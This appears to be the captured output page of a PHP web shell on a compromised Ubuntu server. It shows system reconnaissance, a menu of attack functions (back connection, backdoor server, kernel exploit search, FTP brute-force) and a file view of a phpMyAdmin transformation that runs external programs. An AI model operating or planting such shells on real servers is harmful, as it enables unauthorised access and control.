|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 23.53 GB of 70.42 GB (33.42%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
http/
map/
site/
sql_control/
libraries/
transformations/
- drwxr-sr-x
|
Viewing file: text_plain__external.inc.php (3.35 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * @package phpMyAdmin-Transformation */
function PMA_transformation_text_plain__external_info() { return array( 'info' => __('LINUX ONLY: Launches an external application and feeds it the column data via standard input. Returns the standard output of the application. The default is Tidy, to pretty-print HTML code. For security reasons, you have to manually edit the file libraries/transformations/text_plain__external.inc.php and list the tools you want to make available. The first option is then the number of the program you want to use and the second option is the parameters for the program. The third option, if set to 1, will convert the output using htmlspecialchars() (Default 1). The fourth option, if set to 1, will prevent wrapping and ensure that the output appears all on one line (Default 1).'), ); }
/** * */ function PMA_transformation_text_plain__external_nowrap($options = array()) { if (!isset($options[3]) || $options[3] == '') { $nowrap = true; } elseif ($options[3] == '1' || $options[3] == 1) { $nowrap = true; } else { $nowrap = false; }
return $nowrap; }
function PMA_transformation_text_plain__external($buffer, $options = array(), $meta = '') { // possibly use a global transform and feed it with special options: // include './libraries/transformations/global.inc.php';
// further operations on $buffer using the $options[] array.
$allowed_programs = array();
// // WARNING: // // It's up to administrator to allow anything here. Note that users may // specify any parameters, so when programs allow output redirection or // any other possibly dangerous operations, you should write wrapper // script that will publish only functions you really want. // // Add here program definitions like (note that these are NOT safe // programs): // //$allowed_programs[0] = '/usr/local/bin/tidy'; //$allowed_programs[1] = '/usr/local/bin/validate';
// no-op when no allowed programs if (count($allowed_programs) == 0) { return $buffer; }
if (!isset($options[0]) || $options[0] == '' || !isset($allowed_programs[$options[0]])) { $program = $allowed_programs[0]; } else { $program = $allowed_programs[$options[0]]; }
if (!isset($options[1]) || $options[1] == '') { $poptions = '-f /dev/null -i -wrap -q'; } else { $poptions = $options[1]; }
if (!isset($options[2]) || $options[2] == '') { $options[2] = 1; }
if (!isset($options[3]) || $options[3] == '') { $options[3] = 1; }
// needs PHP >= 4.3.0 $newstring = ''; $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w") ); $process = proc_open($program . ' ' . $poptions, $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0], $buffer); fclose($pipes[0]);
while (!feof($pipes[1])) { $newstring .= fgets($pipes[1], 1024); } fclose($pipes[1]); // we don't currently use the return value $return_value = proc_close($process); }
if ($options[2] == 1 || $options[2] == '2') { $retstring = htmlspecialchars($newstring); } else { $retstring = $newstring; }
return $retstring; } ?>
|